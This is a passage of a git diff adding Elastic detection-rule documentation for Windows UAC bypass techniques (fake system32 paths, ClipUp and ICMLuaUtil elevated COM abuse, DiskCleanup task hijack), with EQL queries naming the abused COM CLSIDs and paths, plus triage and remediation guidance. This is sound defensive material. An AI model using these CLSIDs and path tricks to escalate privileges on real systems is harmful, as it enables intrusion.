binary and sidecar DLLs, preserve process, file, and library telemetry, then isolate the host after weighing business criticality. Scope other hosts for the same fake path, copied binary hash, and DLL pattern before killing processes, deleting the fake "system32" tree, and remediating the launcher or access path that staged it. +- Post-incident hardening: remove the fake trailing-space directory tree, restrict creation or execution of copied Windows binaries from user-writable or fake trusted paths, retain file/library/process telemetry for same-directory DLL hijacking, and record the recovered auto-elevating-binary and DLL pair for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : ("C:\\Windows \\system32\\*.exe", "C:\\Windows \\SysWOW64\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc new file mode 100644 index 0000000000..8ed0190e14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface]] +=== UAC Bypass Attempt with IEditionUpgradeManager Elevated COM Interface + +Identifies attempts to bypass User Account Control (UAC) by abusing an elevated COM Interface to launch a rogue Windows ClipUp program. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/hfiref0x/UACME + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass Attempt with IEditionUpgradeManager Elevated COM Interface* + + + +*Possible investigation steps* + + +- Does the alert show the IEditionUpgradeManager ClipUp bypass path? + - Focus: `process.name`, `process.executable`, `process.parent.name`, `process.parent.args`, and `process.Ext.token.elevation_level`. + - Hint: absent token metadata does not lower suspicion; the path and COM parent args still define the bypass path. + - Implication: a "dllhost.exe" broker, IEditionUpgradeManager CLSID, "ClipUp.exe" name, and non-System32 path warrant UAC bypass investigation; high or full elevation raises priority. Concern drops only when later identity and child checks bind to exact servicing or authorized testing. + +- Is the non-system ClipUp image a genuine Microsoft servicing component or an attacker-defined payload? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Hint: absent hash, signature, or PE metadata does not lower suspicion; fall back to path, COM args, command line, and child behavior. + - Implication: treat the image as attacker-controlled when unsigned, not Microsoft-signed, mismatched to "ClipUp.exe", or in a user-writable root. A Microsoft signer, matching original name, and stable hash reduce suspicion only when the same path ties to the servicing package under review. + +- Does the path or runtime metadata fit system-directory spoofing or lookalike staging? + - Why: the alert already proves ClipUp ran outside genuine System32; a writable root ending in "\system32\clipup.exe" is the staging clue. + - Focus: `process.executable`, `process.Ext.relative_file_creation_time`, `process.Ext.relative_file_name_modify_time`, and `process.command_line`. + - Hint: absent relative timing fields leave the issue unresolved; use path root, command line, signer/hash, and local process history. + - Implication: temp, profile, writable-share, or other non-Windows roots ending in "\system32\clipup.exe" indicate system-directory spoofing, especially with recent create or rename timing. Stable path age and servicing arguments reduce concern only after image identity also fits. + +- Did the elevated ClipUp instance start follow-on tooling? + - Focus: child process starts where `process.parent.entity_id` matches `process.entity_id`, reviewing `process.name`, `process.executable`, `process.command_line`, and `process.Ext.token.integrity_level_name`. !{investigate{"description":"","label":"Child processes launched by the rogue ClipUp instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, recover children with `host.id` + `process.pid` in a tight alert-time window; an empty child search is unresolved, not benign. + - Implication: shells, script hosts, LOLBins, installers, or security-control tooling turn the alert into post-elevation execution. No visible child keeps the case scoped to the bypass launch, not closed. + +- Where else did this exact ClipUp pattern run? + - Focus: matching process starts by `process.hash.sha256`, `process.executable`, `process.parent.args`, and `process.Ext.token.elevation_level`, scoped by `host.id` and `user.id`. + - Hint: if the hash or elevation field is absent, pivot on the exact `process.executable` + `process.parent.args` pair and keep the time window tight. !{investigate{"description":"","label":"Process events for the same ClipUp path and COM interface","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"},{"excluded":false,"field":"process.parent.args","queryType":"phrase","value":"{{process.parent.args}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: after local evidence remains suspicious or unresolved, use matching path, hash, COM args, and elevation state to scope hosts or users; recurrence is supporting context, not a reason to close over contradictory local evidence. + +- Escalate when the COM-brokered non-system ClipUp launch pairs with attacker-defined identity, system-directory spoofing clues, unexpected elevation, or suspicious children. Close only when alert-local process evidence and supported child/history recovery bind to one confirmed servicing package or authorized OS-image test; require external confirmation when telemetry cannot prove that exact activity. Preserve evidence and escalate when answers remain mixed or incomplete. + + +*False positive analysis* + + +- Windows edition upgrade, activation, or repair servicing can explain ClipUp activity only when evidence converges on one workflow: Microsoft-signed `process.hash.sha256`, expected `process.executable`, IEditionUpgradeManager `process.parent.args`, compatible `process.Ext.token.integrity_level_name` when present, and no suspicious children. If change records are unavailable, require telemetry confirmation from the same signed hash, path, parent args, `host.id`, and `user.id` pattern on the same host. +- Treat non-System32 ClipUp as an operational anti-pattern outside servicing. The only other benign path is an authorized OS-image or lab test where `process.executable`, `process.hash.sha256`, `process.command_line`, `process.parent.executable`, `process.parent.args`, and `user.id` all match the exact test case. Any unsigned image, writable-profile path, or elevated child tooling contradicts this explanation. +- Before creating an exception, require a stable benign pattern for `process.executable`, `process.hash.sha256`, `process.parent.args`, `process.Ext.token.integrity_level_name`, and relevant `host.id` or `user.id`. Avoid exceptions on `process.name`, `process.parent.name`, or the COM CLSID alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the image identity, broker context, token state, `host.id`, and `user.id` that proved the servicing or deployment workflow. Create an exception only after the same full pattern repeats benignly. +- If suspicious but unconfirmed, preserve the alert, endpoint timeline export, process tree, non-system ClipUp path and hash, IEditionUpgradeManager parent context, token details, and recovered child-process evidence before containment. +- If suspicious but unconfirmed, apply reversible containment tied to the findings: block the non-system ClipUp path or hash, end the associated user session when needed, or raise monitoring on the affected `host.id`. Isolate the host only if elevated children, control tampering, or broader suspicious process history raises impact. +- If confirmed malicious, isolate the host, terminate the rogue ClipUp instance and elevated children after recording their process identifiers, and block the confirmed path or hash. Review the same hash, path, COM parent args, and user across other hosts before deleting artifacts. +- Eradicate only the staged ClipUp copy, launched payloads, persistence, or launcher artifacts identified during the investigation, then restore affected controls and validate that the Windows servicing path uses the genuine System32 binary. +- Post-incident hardening: restrict system-binary lookalikes from user-writable paths with WDAC or AppLocker, retain process lineage and token telemetry for elevated COM abuse, and document any missing telemetry or uncovered variant with the preserved evidence set. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "Clipup.exe" and + not process.executable : "C:\\Windows\\System32\\ClipUp.exe" and process.parent.name : "dllhost.exe" and + /* CLSID of the Elevated COM Interface IEditionUpgradeManager */ + process.parent.args : "/Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc new file mode 100644 index 0000000000..cdecc4b0a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-uac-bypass-via-diskcleanup-scheduled-task-hijack]] +=== UAC Bypass via DiskCleanup Scheduled Task Hijack + +Identifies User Account Control (UAC) bypass via hijacking DiskCleanup Scheduled Task. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass via DiskCleanup Scheduled Task Hijack* + + +User Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes. Adversaries may exploit the DiskCleanup Scheduled Task to bypass UAC, executing code with elevated privileges. The detection rule identifies suspicious processes using specific arguments and executables not matching known safe paths, flagging potential UAC bypass attempts for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious arguments "/autoclean" and "/d" in the process execution. +- Verify the executable path of the process to ensure it does not match known safe paths such as "C:\Windows\System32\cleanmgr.exe" or "C:\Windows\SysWOW64\cleanmgr.exe". +- Investigate the parent process to determine how the suspicious process was initiated and assess if it was triggered by a legitimate application or script. +- Check the user account under which the process was executed to identify if it aligns with expected user behavior or if it indicates potential compromise. +- Analyze recent system changes or scheduled tasks to identify any unauthorized modifications that could facilitate UAC bypass. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context on the activity. +- Assess the risk and impact of the event by considering the severity and risk score, and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate system maintenance tools or scripts may trigger the rule if they use similar arguments and executables not listed in the safe paths. Review the process origin and context to determine if it is part of routine maintenance. +- Custom administrative scripts that automate disk cleanup tasks might be flagged. Verify the script's source and purpose, and consider adding it to an exception list if it is deemed safe. +- Software updates or installations that temporarily use disk cleanup functionalities could be misidentified. Monitor the timing and context of these events, and exclude known update processes from the rule. +- Third-party disk management tools that mimic or extend Windows disk cleanup features may cause alerts. Validate the tool's legitimacy and add it to the exclusion list if it is a trusted application. +- Scheduled tasks created by IT departments for system optimization might match the rule's criteria. Confirm the task's legitimacy and adjust the rule to exclude these specific tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule that are not using the legitimate DiskCleanup executables. +- Conduct a thorough review of scheduled tasks on the affected system to identify and remove any unauthorized or malicious tasks that may have been created or modified. +- Restore any altered system files or configurations to their original state using known good backups or system restore points. +- Update and patch the affected system to the latest security updates to mitigate any known vulnerabilities that could be exploited for UAC bypass. +- Monitor the affected system and network for any signs of recurring unauthorized activity or similar UAC bypass attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : "/autoclean" and process.args : "/d" and process.executable != null and + not process.executable : ( + "C:\\Windows\\System32\\cleanmgr.exe", + "C:\\Windows\\SysWOW64\\cleanmgr.exe", + "C:\\Windows\\System32\\taskhostw.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\cleanmgr.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\cleanmgr.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\taskhostw.exe" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc new file mode 100644 index 0000000000..a1896e4150 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-uac-bypass-via-icmluautil-elevated-com-interface]] +=== UAC Bypass via ICMLuaUtil Elevated COM Interface + +Identifies User Account Control (UAC) bypass attempts via the ICMLuaUtil Elevated COM interface. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/hfiref0x/UACME + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass via ICMLuaUtil Elevated COM Interface* + + + +*Possible investigation steps* + + +- What did the auto-elevated COM broker launch? + - Focus: `process.name`, `process.executable`, `process.command_line`, `process.pe.original_file_name`, and `process.parent.args`. + - Implication: escalate when the CLSID-specific broker launched a shell, script host, LOLBin, installer, user-writable binary, or relaunched payload; lower suspicion when the child is a signed Windows or endpoint-management helper whose protected path and arguments fit one recognized servicing or support workflow. + +- Does the elevated child look like a stable trusted binary or a staged payload? + - Focus: `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.Ext.relative_file_creation_time`. + - Implication: escalate when the child is unsigned, new, user-writable, renamed, hash-new, or PE-mismatched; lower suspicion only when identity, signer, age, and path fit a stable installed component. + +- Did the child receive an elevation state that changes risk for this user session? + - Focus: `process.Ext.token.integrity_level_name`, `process.Ext.token.elevation_level`, `process.Ext.authentication_id`, and `user.id`. + - Implication: escalate when a limited or interactive user context produced a high-integrity or full-elevation child without a matching maintenance task; lower suspicion when token and session align with a recognized elevated admin utility for the same user. + +- Which process initiated the brokered elevation behind `dllhost.exe`? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.effective_parent.executable`, and `process.Ext.effective_parent.name`. + - Hint: if effective-parent fields are absent or repeat `dllhost.exe`, recover broader lineage and keep origin attribution unresolved rather than treating the COM broker as the real launcher. + - Implication: escalate when the logical initiator is a script host, archive/temp path, renamed binary, remote-access tool, or unexplained user process; lower suspicion when it resolves to the same signed Windows or endpoint-management workflow as the child. + +- Did the elevated child spawn payloads, shells, or other post-elevation tools? + - Focus: child process events from `process.entity_id`, checking `process.name`, `process.executable`, `process.command_line`, and `process.parent.executable`. !{investigate{"description":"","label":"Child processes launched by the elevated child process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, recover children with `host.id` plus `process.pid` in a tight alert-time window and treat PID reuse as ambiguous. + - Implication: escalate when the elevated child starts shells, script hosts, LOLBins, security-tool tampering, or payloads outside the recognized workflow; if no child process appears, scope the case to the broker launch rather than assuming the bypass failed. + +- If local evidence is suspicious or incomplete, does surrounding alert context expand scope? + - Focus: related alerts for `host.id`, especially privilege-escalation, defense-evasion, masquerading, suspicious child-process, or tampering findings tied to `process.parent.args` or `process.executable`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `user.id` alerts only to decide whether elevation is host-local or follows the user. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: pivot on same executable and COM parent arguments. !{investigate{"description":"","label":"Process events for the same child and COM interface","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"},{"excluded":false,"field":"process.parent.args","queryType":"phrase","value":"{{process.parent.args}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response scope when the same host or user also shows UAC-bypass, masquerading, or post-elevation execution; keep scope local when surrounding alerts are clean and broker, child, token, and follow-on evidence are coherent. + +- What disposition do the broker, child identity, launcher, token, follow-on activity, and scope support? + - Escalate on unauthorized brokered CLSID launch, child identity, launcher, token, child-process, or alert-scope evidence; close only when alert-local and recovered process evidence bind one exact recognized workflow with no contradictory follow-on activity; preserve and escalate on mixed or incomplete evidence. + + +*False positive analysis* + + +- Legitimate closure is narrow: signed Windows or enterprise endpoint-management helpers may use the elevated COM broker during servicing or support. Align identity (`process.executable`, signer, hash, and PE original name), broker context (`process.parent.args` and effective parent), token state, and absence of contradictory child-process or alert-scope evidence. Recently staged helpers also need `process.Ext.relative_file_creation_time`, hash or signer, parent context, and command line to fit the same update workflow; require outside confirmation when telemetry cannot explain the elevation. +- If workflow context is unavailable, recurrence for the same `host.id` or `user.id` can support the conclusion but cannot override contradictory local evidence. +- Before creating an exception, validate that child identity, signer or hash, `process.parent.args`, token state, and host or user scope stay stable across benign occurrences. Build the exception from that minimum confirmed pattern, and avoid exceptions on `process.parent.name`, `dllhost.exe`, or CLSID values alone. + + +*Response and remediation* + + +- First, export the alert details, process tree, command line, hash/signature identity, token state, effective-parent evidence, and recovered child-process or related-alert records. +- If confirmed benign after preservation, reverse temporary containment and document the validated child identity, broker CLSID, effective parent, token state, `host.id`, and `user.id` values that proved the workflow. Create an exception only after the same complete pattern repeats benignly. +- If suspicious but unconfirmed, apply reversible containment tied to the finding: block the suspicious `process.executable`, end the associated user session, or raise monitoring on the same `host.id`. Use host isolation only when the elevated child spawned payloads or coincided with tampering or lateral-movement evidence. +- If confirmed malicious, isolate the host when needed to prevent lateral movement, then terminate the elevated child and payloads using the preserved `process.entity_id`, `process.hash.sha256`, command line, broker CLSID, token state, and `@timestamp`. If direct response is unavailable, hand off the preserved process, child-process, and scope evidence to the response team. +- Review other hosts and users for the same `process.parent.args`, `process.executable`, `process.hash.sha256`, `process.pe.original_file_name`, or `user.id` before removing artifacts so scoping completes before evidence is destroyed. +- Eradicate only the staged helper binary, launched payloads, persistence changes, and launcher artifacts identified during the investigation, then restore affected controls and service configuration to a known-good state. +- Post-incident hardening: reduce local administrator membership where possible, set UAC to the highest practical enforcement level, restrict system lookalike or helper binaries from user-writable paths, prefer WDAC or AppLocker coverage for admin helpers, and retain process telemetry around elevated COM abuse. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name == "dllhost.exe" and + process.parent.args in ("/Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", "/Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}") and + process.pe.original_file_name != "WerFault.exe" and + not (process.executable : "?:\\Program Files\\WireGuard\\wireguard.exe" and process.args : "/installmanagerservice") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc new file mode 100644 index 0000000000..4b08256cf9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-uac-bypass-via-windows-firewall-snap-in-hijack]] +=== UAC Bypass via Windows Firewall Snap-In Hijack + +Identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs 